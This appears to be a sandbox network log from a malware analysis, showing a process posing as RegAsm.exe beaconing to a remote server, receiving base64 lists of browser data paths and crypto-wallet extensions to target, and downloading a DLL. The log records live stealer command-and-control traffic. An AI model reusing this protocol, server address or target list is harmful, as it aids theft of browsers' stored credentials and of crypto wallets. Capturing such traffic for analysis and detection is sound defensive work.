2024-10-02 03:19:20 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:21 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:21 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 Data Ascii: ------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------JKJDHDBKEBGHJJJJKEHDCont
2024-10-02 03:19:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:22 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:22 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:22 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------IDHJEBGIEBFIJKEBFBFHCont
2024-10-02 03:19:23 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:23 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:24 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 5497 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:24 UTC	5497	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 39 61 61 32 66 63 32 35 32 32 39 33 34 38 39 30 32 31 32 61 66 65 34 62 38 62 62 63 36 34 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 66 62 38 30 39 36 64 62 61 37 32 31 38 32 34 33 66 38 66 36 66 37 61 39 39 34 37 35 31 64 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"c59aa2fc2522934890212afe4b8bbc64------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="build_id"7fb8096dba7218243f8f6f7a994751d3------DBKFHJEBAAEBGDGDBFBGCont
2024-10-02 03:19:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:19:24 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:25 UTC	192	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:19:25 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:19:25 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:19:25 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:19:25 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-10-02 03:19:25 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-10-02 03:19:27 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	49.12.197.9	443	4248	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:19:28 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIJKJDAFHJDHIEBGCFID User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
